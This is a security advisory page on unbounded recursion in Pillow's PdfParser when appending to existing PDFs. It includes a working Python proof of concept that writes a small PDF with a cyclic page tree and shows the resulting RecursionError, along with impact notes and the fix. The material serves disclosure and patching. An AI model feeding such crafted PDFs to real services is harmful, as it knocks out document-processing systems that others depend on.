
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 5.1.0, < 13.0.0
Patched in 13.0.0
Details
When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.
linearize_page_tree recurses on /Kids with no cycle or depth check:
src/PIL/PdfParser.py:1078-1092read_prev_trailer catches only a repeated offset:
src/PIL/PdfParser.py:697-720 (the processed_offsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Run it:
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.
EPSS, exploit probability
Low0.29%
estimated chance of real-world exploitation in the next 30 days, higher than 20.4% of every CVE FIRST.org scores
Refreshed 10/20/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.